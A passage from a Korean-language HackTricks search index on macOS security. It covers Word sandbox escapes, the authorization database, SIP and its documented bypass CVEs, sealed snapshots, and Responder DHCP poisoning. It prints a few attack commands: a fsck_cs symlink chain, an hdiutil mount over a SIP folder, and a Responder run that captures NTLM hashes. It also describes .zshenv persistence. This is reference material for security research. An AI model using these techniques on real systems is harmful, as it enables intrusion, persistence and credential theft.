Attacks » 프로토콜 오염을 위한 Responder","id":"262","title":"프로토콜 오염을 위한 Responder"},"2620":{"body":"첫 번째 탈출에서 Word는 이름이 ~$로 시작하는 임의의 파일을 쓸 수 있지만, 이전 취약점의 패치 이후 /Library/Application Scripts 또는 /Library/LaunchAgents에 쓸 수는 없었습니다. 샌드박스 내에서 로그인 항목 (사용자가 로그인할 때 실행되는 앱)을 생성할 수 있다는 것이 발견되었습니다. 그러나 이러한 앱은 notarized 되지 않으면 실행되지 않으며 , args를 추가할 수 없습니다 (따라서 **bash**를 사용하여 리버스 셸을 실행할 수 없습니다). 이전 샌드박스 우회로 인해 Microsoft는 ~/Library/LaunchAgents에 파일을 쓸 수 있는 옵션을 비활성화했습니다. 그러나 로그인 항목으로 zip 파일을 넣으면 Archive Utility가 현재 위치에서 압축을 풀기만 한다는 것이 발견되었습니다. 따라서 기본적으로 ~/Library의 LaunchAgents 폴더가 생성되지 않기 때문에 **LaunchAgents/~$escape.plist**에 plist를 압축하고 **~/Library**에 zip 파일을 배치하면 압축 해제 시 지속성 목적지에 도달할 수 있었습니다. 원본 보고서 확인하기 를 확인하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » macOS Office Sandbox Bypasses » Word Sandbox bypass via Login Items and zip","id":"2620","title":"Word Sandbox bypass via Login Items and zip"},"2621":{"body":"(첫 번째 탈출에서 Word는 이름이 ~$로 시작하는 임의의 파일을 쓸 수 있다는 것을 기억하세요). 그러나 이전 기술에는 제한이 있었습니다. ~/Library/LaunchAgents 폴더가 다른 소프트웨어에 의해 생성된 경우 실패할 수 있습니다. 그래서 이를 위한 다른 로그인 항목 체인이 발견되었습니다. 공격자는 .bash_profile 및 .zshenv 파일을 생성하고 실행할 페이로드를 추가한 다음 이를 압축하고 희생자의 사용자 폴더에 **~/~$escape.zip**로 작성할 수 있습니다. 그런 다음 zip 파일을 로그인 항목 에 추가하고 Terminal 앱을 추가합니다. 사용자가 다시 로그인하면 zip 파일이 사용자 파일에 압축 해제되어 .bash_profile 및 **.zshenv**를 덮어쓰게 되고, 따라서 터미널은 이 파일 중 하나를 실행하게 됩니다(사용되는 셸에 따라 다름). 원본 보고서 확인하기 를 확인하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » macOS Office Sandbox Bypasses » Word Sandbox bypass via Login Items and .zshenv","id":"2621","title":"Word Sandbox bypass via Login Items and .zshenv"},"2622":{"body":"샌드박스된 프로세스에서 여전히 open 유틸리티를 사용하여 다른 프로세스를 호출할 수 있습니다. 게다가 이러한 프로세스는 자신의 샌드박스 내에서 실행됩니다. open 유틸리티에는 특정 env 변수를 사용하여 앱을 실행하는 --env 옵션이 있다는 것이 발견되었습니다. 따라서 샌드박스 내의 폴더에 .zshenv 파일 을 생성하고 --env로 HOME 변수를 해당 폴더로 설정하여 Terminal 앱을 열면 .zshenv 파일이 실행됩니다(어떤 이유로 인해 __OSINSTALL_ENVIROMENT 변수를 설정해야 했습니다). 원본 보고서 확인하기 를 확인하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » macOS Office Sandbox Bypasses » Word Sandbox Bypass with Open and env variables","id":"2622","title":"Word Sandbox Bypass with Open and env variables"},"2623":{"body":"open 유틸리티는 --stdin 매개변수도 지원했습니다(이전 우회 이후 --env를 사용할 수 없게 되었습니다). 문제는 **python**이 Apple에 의해 서명되었더라도 quarantine 속성이 있는 스크립트를 실행하지 않는다는 것입니다 . 그러나 stdin에서 스크립트를 전달하면 격리 여부를 확인하지 않게 됩니다: 임의의 Python 명령이 포함된 ~$exploit.py 파일을 드롭합니다. open **–stdin=\'~$exploit.py\' -a Python**을 실행하여 Python 앱을 실행하고, 드롭한 파일을 표준 입력으로 사용합니다. Python은 우리의 코드를 기꺼이 실행하며, 이는 _launchd_의 자식 프로세스이므로 Word의 샌드박스 규칙에 구속되지 않습니다. tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Sandbox » macOS Sandbox Debug & Bypass » macOS Office Sandbox Bypasses » Word Sandbox Bypass with Open and stdin","id":"2623","title":"Word Sandbox Bypass with Open and stdin"},"2624":{"body":"Reading time: 4 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Authorizations DB & Authd » macOS Authorizations DB & Authd","id":"2624","title":"macOS Authorizations DB & Authd"},"2625":{"body":"/var/db/auth.db에 위치한 데이터베이스는 민감한 작업을 수행하기 위한 권한을 저장하는 데 사용됩니다. 이러한 작업은 사용자 공간 에서 완전히 수행되며, 일반적으로 XPC 서비스 에서 사용되어 호출 클라이언트가 특정 작업을 수행할 수 있는 권한이 있는지 이 데이터베이스를 확인합니다. 이 데이터베이스는 처음에 /System/Library/Security/authorization.plist의 내용으로 생성됩니다. 이후 일부 서비스가 이 데이터베이스에 다른 권한을 추가하거나 수정할 수 있습니다. 규칙은 데이터베이스 내의 rules 테이블에 저장되며 다음과 같은 열을 포함합니다: id : 각 규칙에 대한 고유 식별자로, 자동으로 증가하며 기본 키 역할을 합니다. name : 권한 시스템 내에서 규칙을 식별하고 참조하는 데 사용되는 고유한 규칙 이름입니다. type : 규칙의 유형을 지정하며, 권한 논리를 정의하기 위해 1 또는 2의 값으로 제한됩니다. class : 규칙을 특정 클래스에 분류하며, 양의 정수여야 합니다. \\"allow\\"는 허용을 의미하고, \\"deny\\"는 거부를 의미하며, \\"user\\"는 그룹 속성이 접근을 허용하는 그룹을 나타내는 경우, \\"rule\\"은 충족해야 할 규칙을 배열로 나타내며, \\"evaluate-mechanisms\\"는 mechanisms 배열을 따르며, 이는 내장형이거나 /System/Library/CoreServices/SecurityAgentPlugins/ 또는 /Library/Security//SecurityAgentPlugins 내의 번들 이름입니다. group : 그룹 기반 권한 부여를 위한 규칙과 관련된 사용자 그룹을 나타냅니다. kofn : \\"k-of-n\\" 매개변수를 나타내며, 총 수에서 얼마나 많은 하위 규칙이 충족되어야 하는지를 결정합니다. timeout : 규칙에 의해 부여된 권한이 만료되기 전의 지속 시간을 초 단위로 정의합니다. flags : 규칙의 동작 및 특성을 수정하는 다양한 플래그를 포함합니다. tries : 보안을 강화하기 위해 허용된 권한 시도 횟수를 제한합니다. version : 버전 관리를 위한 규칙의 버전을 추적합니다. created : 감사 목적으로 규칙이 생성된 타임스탬프를 기록합니다. modified : 규칙에 대한 마지막 수정의 타임스탬프를 저장합니다. hash : 규칙의 무결성을 보장하고 변조를 감지하기 위한 해시 값을 보유합니다. identifier : 규칙에 대한 외부 참조를 위한 고유 문자열 식별자(예: UUID)를 제공합니다. requirement : 규칙의 특정 권한 요구 사항 및 메커니즘을 정의하는 직렬화된 데이터를 포함합니다. comment : 문서화 및 명확성을 위해 규칙에 대한 사람이 읽을 수 있는 설명 또는 주석을 제공합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Authorizations DB & Authd » Authorization DB","id":"2625","title":"Authorization DB"},"2626":{"body":"bash # List by name and comments\\nsudo sqlite3 /var/db/auth.db \\"select name, comment from rules\\" # Get rules for com.apple.tcc.util.admin\\nsecurity authorizationdb read com.apple.tcc.util.admin\\n\\n\\n\\n\\nclass\\nrule\\ncomment\\nFor modification of TCC settings.\\ncreated\\n701369782.01043606\\nmodified\\n701369782.01043606\\nrule\\n\\nauthenticate-admin-nonshared\\n\\nversion\\n0\\n\\n 또한 https://www.dssw.co.uk/reference/authorization-rights/authenticate-admin-nonshared/ 에서 authenticate-admin-nonshared의 의미를 확인할 수 있습니다: json {\\n\\"allow-root\\": \\"false\\",\\n\\"authenticate-user\\": \\"true\\",\\n\\"class\\": \\"user\\",\\n\\"comment\\": \\"Authenticate as an administrator.\\",\\n\\"group\\": \\"admin\\",\\n\\"session-owner\\": \\"false\\",\\n\\"shared\\": \\"false\\",\\n\\"timeout\\": \\"30\\",\\n\\"tries\\": \\"10000\\",\\n\\"version\\": \\"1\\"\\n}","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Authorizations DB & Authd » Example","id":"2626","title":"Example"},"2627":{"body":"클라이언트가 민감한 작업을 수행하도록 승인 요청을 받을 데몬입니다. XPCServices/ 폴더 내에 정의된 XPC 서비스로 작동하며, 로그는 /var/log/authd.log에 기록됩니다. 또한 보안 도구를 사용하여 많은 Security.framework API를 테스트할 수 있습니다. 예를 들어 AuthorizationExecuteWithPrivileges를 실행하면: security execute-with-privileges /bin/ls 이는 /usr/libexec/security_authtrampoline /bin/ls를 루트로 포크하고 실행하며, ls를 루트로 실행하기 위한 권한을 요청하는 프롬프트가 표시됩니다: tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS Authorizations DB & Authd » Authd","id":"2627","title":"Authd"},"2628":{"body":"Reading time: 12 minutes tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » macOS SIP","id":"2628","title":"macOS SIP"},"2629":{"body":"**System Integrity Protection (SIP)**는 macOS에서 가장 권한이 높은 사용자조차도 주요 시스템 폴더에 대한 무단 변경을 방지하기 위해 설계된 메커니즘입니다. 이 기능은 보호된 영역에서 파일을 추가, 수정 또는 삭제하는 등의 작업을 제한함으로써 시스템의 무결성을 유지하는 데 중요한 역할을 합니다. SIP에 의해 보호되는 주요 폴더는 다음과 같습니다: /System /bin /sbin /usr SIP의 동작을 규정하는 규칙은 **/System/Library/Sandbox/rootless.conf**에 위치한 구성 파일에 정의되어 있습니다. 이 파일 내에서 별표(*)로 접두사가 붙은 경로는 일반적으로 엄격한 SIP 제한의 예외로 표시됩니다. 아래의 예를 고려해 보십시오: javascript /usr\\n* /usr/libexec/cups\\n* /usr/local\\n* /usr/share/man 이 스니펫은 SIP가 일반적으로 /usr 디렉토리를 보호하지만, 특정 하위 디렉토리(/usr/libexec/cups, /usr/local, /usr/share/man)에서는 수정이 허용된다는 것을 나타냅니다. 이는 해당 경로 앞에 있는 별표(*)로 표시됩니다. 디렉토리나 파일이 SIP에 의해 보호되는지 확인하려면 ls -lOd 명령을 사용하여 restricted 또는 sunlnk 플래그의 존재를 확인할 수 있습니다. 예: bash ls -lOd /usr/libexec/cups\\ndrwxr-xr-x 11 root wheel sunlnk 352 May 13 00:29 /usr/libexec/cups 이 경우, sunlnk 플래그는 /usr/libexec/cups 디렉토리 자체가 삭제될 수 없음을 나타내지만, 그 안의 파일은 생성, 수정 또는 삭제할 수 있습니다. 반면: bash ls -lOd /usr/libexec\\ndrwxr-xr-x 338 root wheel restricted 10816 May 13 00:29 /usr/libexec 여기서 restricted 플래그는 /usr/libexec 디렉토리가 SIP에 의해 보호되고 있음을 나타냅니다. SIP로 보호된 디렉토리에서는 파일을 생성, 수정 또는 삭제할 수 없습니다. 또한, 파일에 com.apple.rootless 확장 속성 이 포함되어 있으면 해당 파일도 SIP에 의해 보호 됩니다. tip Sandbox 훅 **hook_vnode_check_setextattr**는 확장 속성 **com.apple.rootless**를 수정하려는 모든 시도를 방지합니다. SIP는 다른 루트 작업도 제한합니다 : 신뢰할 수 없는 커널 확장 로드 Apple 서명 프로세스에 대한 작업 포트 가져오기 NVRAM 변수 수정 커널 디버깅 허용 옵션은 비트 플래그로 nvram 변수에 유지됩니다 (csr-active-config는 Intel에서, lp-sip0는 ARM의 부팅된 Device Tree에서 읽어옵니다). 플래그는 csr.sh의 XNU 소스 코드에서 찾을 수 있습니다:","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » 기본 정보","id":"2629","title":"기본 정보"},"263":{"body":"DHCP 응답을 스푸핑하면 피해자의 라우팅 정보를 영구적으로 오염시킬 수 있으며, ARP 오염보다 더 은밀한 대안이 됩니다. 이는 대상 네트워크의 구성에 대한 정확한 지식이 필요합니다. 공격 실행: ./Responder.py -I eth0 -Pdv 이 방법은 NTLMv1/2 해시를 효과적으로 캡처할 수 있지만, 네트워크 중단을 피하기 위해 신중하게 처리해야 합니다.","breadcrumbs":"Pentesting Network » Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks » Responder를 이용한 DHCP 오염","id":"263","title":"Responder를 이용한 DHCP 오염"},"2630":{"body":"다음 명령어로 시스템에서 SIP가 활성화되어 있는지 확인할 수 있습니다: bash csrutil status SIP를 비활성화해야 하는 경우, 컴퓨터를 복구 모드로 재시작해야 합니다(시작 중 Command+R을 누름). 그런 다음 다음 명령을 실행하십시오: bash csrutil disable SIP를 활성화한 상태로 디버깅 보호 기능을 제거하려면 다음을 사용하면 됩니다: bash csrutil enable --without debug","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » SIP 상태","id":"2630","title":"SIP 상태"},"2631":{"body":"서명되지 않은 커널 확장 (kexts)의 로드를 허용하지 않으며, 검증된 확장만이 시스템 커널과 상호작용하도록 보장합니다. macOS 시스템 프로세스의 디버깅을 방지 하여, 핵심 시스템 구성 요소를 무단 접근 및 수정으로부터 보호합니다. dtrace와 같은 도구의 사용을 억제 하여 시스템 운영의 무결성을 추가로 보호합니다. 이 발표에서 SIP 정보에 대해 더 알아보세요 .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » 기타 제한 사항","id":"2631","title":"기타 제한 사항"},"2632":{"body":"com.apple.rootless.xpc.bootstrap: launchd 제어 com.apple.rootless.install[.heritable]: 파일 시스템 접근 com.apple.rootless.kext-management: kext_request com.apple.rootless.datavault.controller: UF_DATAVAULT 관리 com.apple.rootless.xpc.bootstrap: XPC 설정 기능 com.apple.rootless.xpc.effective-root: launchd XPC를 통한 루트 접근 com.apple.rootless.restricted-block-devices: 원시 블록 장치 접근 com.apple.rootless.internal.installer-equivalent: 제한 없는 파일 시스템 접근 com.apple.rootless.restricted-nvram-variables[.heritable]: NVRAM에 대한 전체 접근 com.apple.rootless.storage.label: 해당 레이블로 com.apple.rootless xattr에 의해 제한된 파일 수정 com.apple.rootless.volume.VM.label: 볼륨에서 VM 스왑 유지","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » SIP 관련 권한","id":"2632","title":"SIP 관련 권한"},"2633":{"body":"SIP를 우회하면 공격자가 다음을 수행할 수 있습니다: 사용자 데이터 접근 : 모든 사용자 계정에서 메일, 메시지 및 Safari 기록과 같은 민감한 사용자 데이터를 읽습니다. TCC 우회 : TCC(투명성, 동의 및 제어) 데이터베이스를 직접 조작하여 웹캠, 마이크 및 기타 리소스에 대한 무단 접근을 부여합니다. 지속성 설정 : SIP로 보호된 위치에 악성 코드를 배치하여 루트 권한으로도 제거에 저항하도록 만듭니다. 여기에는 악성 소프트웨어 제거 도구(MRT)를 변조할 가능성도 포함됩니다. 커널 확장 로드 : 추가적인 보호 장치가 있지만, SIP를 우회하면 서명되지 않은 커널 확장을 로드하는 과정이 간소화됩니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » SIP 우회","id":"2633","title":"SIP 우회"},"2634":{"body":"Apple의 인증서로 서명된 설치 패키지 는 그 보호를 우회할 수 있습니다. 이는 표준 개발자가 서명한 패키지조차도 SIP로 보호된 디렉토리를 수정하려고 시도하면 차단된다는 것을 의미합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » 설치 패키지","id":"2634","title":"설치 패키지"},"2635":{"body":"하나의 잠재적 허점은 rootless.conf에 지정된 파일이 현재 존재하지 않는 경우 생성될 수 있다는 것입니다. 악성 코드는 이를 악용하여 시스템에서 지속성을 설정 할 수 있습니다. 예를 들어, 악성 프로그램이 rootless.conf에 나열되어 있지만 존재하지 않는 경우 /System/Library/LaunchDaemons에 .plist 파일을 생성할 수 있습니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » 존재하지 않는 SIP 파일","id":"2635","title":"존재하지 않는 SIP 파일"},"2636":{"body":"caution 권한 **com.apple.rootless.install.heritable**는 SIP를 우회할 수 있게 해줍니다. CVE-2019-8561 시스템이 코드 서명을 검증한 후 설치 패키지를 교체하는 것이 가능하다는 것이 발견되었습니다 . 그 후 시스템은 원본 대신 악성 패키지를 설치하게 됩니다. 이러한 작업이 **system_installd**에 의해 수행되었기 때문에 SIP를 우회할 수 있게 됩니다. CVE-2020–9854 패키지가 마운트된 이미지나 외부 드라이브에서 설치된 경우 설치 프로그램 은 해당 파일 시스템 에서 바이너리를 실행 하게 되며, SIP 보호 위치에서 실행되지 않게 됩니다. 이로 인해 **system_installd**가 임의의 바이너리를 실행하게 됩니다. CVE-2021-30892 - Shrootless 이 블로그 게시물의 연구자들 은 macOS의 시스템 무결성 보호(SIP) 메커니즘에서 \'Shrootless\' 취약점을 발견했습니다. 이 취약점은 system_installd 데몬과 관련이 있으며, 이 데몬은 com.apple.rootless.install.heritable 권한을 가지고 있어 자식 프로세스가 SIP의 파일 시스템 제한을 우회할 수 있게 해줍니다. system_installd 데몬은 Apple 에 의해 서명된 패키지를 설치합니다. 연구자들은 Apple 서명 패키지(.pkg 파일)의 설치 중에 **system_installd**가 패키지에 포함된 모든 post-install 스크립트를 실행 한다는 것을 발견했습니다. 이러한 스크립트는 기본 셸인 **zsh**에 의해 실행되며, 존재하는 경우 /etc/zshenv 파일에서 명령을 자동으로 실행 합니다. 이 동작은 공격자에 의해 악용될 수 있습니다: 악성 /etc/zshenv 파일을 생성하고 system_installd가 zsh를 호출할 때 대기함으로써, 장치에서 임의의 작업을 수행할 수 있습니다. 게다가 **/etc/zshenv**는 SIP 우회뿐만 아니라 일반적인 공격 기법으로도 사용될 수 있다는 것이 발견되었습니다. 각 사용자 프로필에는 ~/.zshenv 파일이 있으며, 이는 /etc/zshenv와 동일하게 동작하지만 루트 권한이 필요하지 않습니다. 이 파일은 지속성 메커니즘으로 사용될 수 있으며, zsh가 시작될 때마다 트리거되거나 권한 상승 메커니즘으로 사용될 수 있습니다. 관리 사용자가 sudo -s 또는 sudo 를 사용하여 루트로 상승하면 ~/.zshenv 파일이 트리거되어 효과적으로 루트로 상승하게 됩니다. CVE-2022-22583 CVE-2022-22583 에서는 동일한 system_installd 프로세스가 여전히 악용될 수 있다는 것이 발견되었습니다. 이는 post-install 스크립트를 SIP로 보호된 /tmp 내의 임의 이름의 폴더에 넣기 때문입니다 . 문제는 /tmp 자체는 SIP로 보호되지 않기 때문에 , 가상 이미지를 마운트 한 후 설치 프로그램 이 post-install 스크립트 를 그곳에 넣고, 가상 이미지를 언마운트 한 다음, 모든 폴더를 재생성 하고 payload 를 실행하기 위해 post installation 스크립트를 추가할 수 있다는 것입니다. fsck_cs 유틸리티 **fsck_cs**가 심볼릭 링크 를 따라가는 능력으로 인해 중요한 파일을 손상시키는 취약점이 확인되었습니다. 구체적으로, 공격자는 _/dev/diskX_에서 /System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist 파일로의 링크를 작성했습니다. _/dev/diskX_에서 **fsck_cs**를 실행하면 Info.plist가 손상되었습니다. 이 파일의 무결성은 운영 체제의 SIP(시스템 무결성 보호)에 필수적이며, 커널 확장의 로드를 제어합니다. 손상되면 SIP의 커널 제외 관리 능력이 손상됩니다. 이 취약점을 악용하기 위한 명령은: bash ln -s /System/Library/Extensions/AppleKextExcludeList.kext/Contents/Info.plist /dev/diskX\\nfsck_cs /dev/diskX 1>&-\\ntouch /Library/Extensions/\\nreboot 이 취약점의 악용은 심각한 영향을 미칩니다. Info.plist 파일은 일반적으로 커널 확장에 대한 권한을 관리하는 역할을 하지만, 비효율적이 됩니다. 여기에는 AppleHWAccess.kext와 같은 특정 확장을 블랙리스트에 추가할 수 없는 것이 포함됩니다. 결과적으로 SIP의 제어 메커니즘이 작동하지 않게 되면, 이 확장을 로드할 수 있어 시스템의 RAM에 대한 무단 읽기 및 쓰기 접근이 허용됩니다. SIP 보호 폴더 위에 마운트하기 보호를 우회하기 위해 SIP 보호 폴더 위에 새로운 파일 시스템을 마운트하는 것이 가능했습니다. bash mkdir evil\\n# Add contento to the folder\\nhdiutil create -srcfolder evil evil.dmg\\nhdiutil attach -mountpoint /System/Library/Snadbox/ evil.dmg 업그레이더 우회 (2016) 시스템은 OS를 업그레이드하기 위해 Install macOS Sierra.app 내의 임베디드 설치 프로그램 디스크 이미지를 부팅하도록 설정되어 있으며, bless 유틸리티를 사용합니다. 사용된 명령은 다음과 같습니다: bash /usr/sbin/bless -setBoot -folder /Volumes/Macintosh HD/macOS Install Data -bootefi /Volumes/Macintosh HD/macOS Install Data/boot.efi -options config=\\"\\\\macOS Install Data\\\\com.apple.Boot\\" -label macOS Installer 이 프로세스의 보안은 공격자가 부팅 전에 업그레이드 이미지(InstallESD.dmg)를 변경하면 손상될 수 있습니다. 이 전략은 동적 로더(dyld)를 악성 버전(libBaseIA.dylib)으로 대체하는 것을 포함합니다. 이 교체는 설치 프로그램이 시작될 때 공격자의 코드가 실행되도록 합니다. 공격자의 코드는 업그레이드 과정에서 제어를 얻고, 설치 프로그램에 대한 시스템의 신뢰를 악용합니다. 공격은 InstallESD.dmg 이미지를 메서드 스위즐링을 통해 변경하여 진행되며, 특히 extractBootBits 메서드를 목표로 합니다. 이를 통해 디스크 이미지가 사용되기 전에 악성 코드를 주입할 수 있습니다. 또한, InstallESD.dmg 내에는 업그레이드 코드의 루트 파일 시스템 역할을 하는 BaseSystem.dmg가 있습니다. 여기에 동적 라이브러리를 주입하면 악성 코드가 OS 수준 파일을 변경할 수 있는 프로세스 내에서 작동할 수 있어 시스템 손상의 가능성이 크게 증가합니다. systemmigrationd (2023) DEF CON 31 에서의 이 발표에서는 systemmigrationd (SIP를 우회할 수 있는)가 bash 및 perl 스크립트를 실행하는 방법이 보여지며, 이는 env 변수 BASH_ENV 및 **PERL5OPT**를 통해 악용될 수 있습니다. CVE-2023-42860 이 블로그 게시물에서 자세히 설명된 바와 같이 , InstallAssistant.pkg 패키지의 postinstall 스크립트가 실행되고 있었습니다: bash /usr/bin/chflags -h norestricted \\"${SHARED_SUPPORT_PATH}/SharedSupport.dmg\\" and it was possible to create a symlink in ${SHARED_SUPPORT_PATH}/SharedSupport.dmg that would allow a user to unrestrict any file, bypassing SIP protection .","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » com.apple.rootless.install.heritable","id":"2636","title":"com.apple.rootless.install.heritable"},"2637":{"body":"caution The entitlement com.apple.rootless.install allows to bypass SIP The entitlement com.apple.rootless.install is known to bypass System Integrity Protection (SIP) on macOS. This was notably mentioned in relation to CVE-2022-26712 . In this specific case, the system XPC service located at /System/Library/PrivateFrameworks/ShoveService.framework/Versions/A/XPCServices/SystemShoveService.xpc possesses this entitlement. This allows the related process to circumvent SIP constraints. Furthermore, this service notably presents a method that permits the movement of files without enforcing any security measures.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » com.apple.rootless.install","id":"2637","title":"com.apple.rootless.install"},"2638":{"body":"Sealed System Snapshots는 **macOS Big Sur (macOS 11)**에서 Apple이 도입한 기능으로, System Integrity Protection (SIP) 메커니즘의 일환으로 추가적인 보안 및 시스템 안정성을 제공합니다. 이들은 본질적으로 시스템 볼륨의 읽기 전용 버전입니다. 다음은 더 자세한 설명입니다: 불변 시스템 : Sealed System Snapshots는 macOS 시스템 볼륨을 \\"불변\\"으로 만들어 수정할 수 없게 합니다. 이는 보안이나 시스템 안정성을 위협할 수 있는 무단 또는 우발적인 변경을 방지합니다. 시스템 소프트웨어 업데이트 : macOS 업데이트나 업그레이드를 설치할 때, macOS는 새로운 시스템 스냅샷을 생성합니다. 그런 다음 macOS 시작 볼륨은 **APFS (Apple File System)**를 사용하여 이 새로운 스냅샷으로 전환합니다. 업데이트 적용 과정이 더 안전하고 신뢰할 수 있게 되며, 업데이트 중 문제가 발생할 경우 시스템이 항상 이전 스냅샷으로 되돌릴 수 있습니다. 데이터 분리 : macOS Catalina에서 도입된 데이터와 시스템 볼륨 분리 개념과 함께, Sealed System Snapshot 기능은 모든 데이터와 설정이 별도의 \\" Data \\" 볼륨에 저장되도록 보장합니다. 이 분리는 데이터를 시스템과 독립적으로 만들어 시스템 업데이트 과정을 단순화하고 시스템 보안을 강화합니다. 이 스냅샷은 macOS에 의해 자동으로 관리되며, APFS의 공간 공유 기능 덕분에 디스크에 추가 공간을 차지하지 않습니다. 또한, 이러한 스냅샷은 전체 시스템의 사용자 접근 가능한 백업인 Time Machine snapshots 와는 다르다는 점도 중요합니다.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » Sealed System Snapshots","id":"2638","title":"Sealed System Snapshots"},"2639":{"body":"The command diskutil apfs list lists the details of the APFS volumes and their layout: +-- Container disk3 966B902E-EDBA-4775-B743-CF97A0556A13\\n| ====================================================\\n| APFS Container Reference: disk3\\n| Size (Capacity Ceiling): 494384795648 B (494.4 GB)\\n| Capacity In Use By Volumes: 219214536704 B (219.2 GB) (44.3% used)\\n| Capacity Not Allocated: 275170258944 B (275.2 GB) (55.7% free)\\n| |\\n| +-< Physical Store disk0s2 86D4B7EC-6FA5-4042-93A7-D3766A222EBE\\n| | -----------------------------------------------------------\\n| | APFS Physical Store Disk: disk0s2\\n| | Size: 494384795648 B (494.4 GB)\\n| |\\n| +-> Volume disk3s1 7A27E734-880F-4D91-A703-FB55861D49B7\\n| | ---------------------------------------------------\\n| | APFS Volume Disk (Role): disk3s1 (System)\\n| | Name: Macintosh HD (Case-insensitive)\\n| | Mount Point: /System/Volumes/Update/mnt1\\n| | Capacity Consumed: 12819210240 B (12.8 GB)\\n| | Sealed: Broken\\n| | FileVault: Yes (Unlocked)\\n| | Encrypted: No\\n| | |\\n| | Snapshot: FAA23E0C-791C-43FF-B0E7-0E1C0810AC61\\n| | Snapshot Disk: disk3s1s1\\n| | Snapshot Mount Point: /\\n| | Snapshot Sealed: Yes\\n[...]\\n+-> Volume disk3s5 281959B7-07A1-4940-BDDF-6419360F3327\\n| ---------------------------------------------------\\n| APFS Volume Disk (Role): disk3s5 (Data)\\n| Name: Macintosh HD - Data (Case-insensitive) | Mount Point: /System/Volumes/Data | Capacity Consumed: 412071784448 B (412.1 GB) | Sealed: No\\n| FileVault: Yes (Unlocked) In the previous output it\'s possible to see that user-accessible locations are mounted under /System/Volumes/Data. Moreover, macOS System volume snapshot is mounted in / and it\'s sealed (cryptographically signed by the OS). So, if SIP is bypassed and modifies it, the OS won\'t boot anymore . It\'s also possible to verify that seal is enabled by running: bash csrutil authenticated-root status\\nAuthenticated Root status: enabled 또한, 스냅샷 디스크는 읽기 전용 으로 마운트됩니다: bash mount\\n/dev/disk3s1s1 on / (apfs, sealed, local, read-only, journaled) tip AWS 해킹 배우기 및 연습하기: HackTricks Training AWS Red Team Expert (ARTE) GCP 해킹 배우기 및 연습하기: HackTricks Training GCP Red Team Expert (GRTE) Azure 해킹 배우기 및 연습하기: HackTricks Training Azure Red Team Expert (AzRTE) HackTricks 지원하기 구독 계획 확인하기! **💬 디스코드 그룹 또는 텔레그램 그룹 에 참여하거나 트위터 🐦 @hacktricks_live 를 팔로우하세요. HackTricks 및 HackTricks Cloud 깃허브 리포지토리에 PR을 제출하여 해킹 트릭을 공유하세요.","breadcrumbs":"macOS Security & Privilege Escalation » macOS Security Protections » macOS SIP » Check Snapshots","id":"2639","title":"Check Snapshots"},"264":{"body":"Responder는 위에서 언급한 프로토콜을 사용하여 서비스를 가장하고, 사용자가 스푸핑된 서비스에 대해 인증을 시도할 때 자격 증명(주로 NTLMv2 챌린지/응답)을 캡처합니다. NetNTLMv1로 다운그레이드하거나 ESS를 비활성화하여 자격 증명을 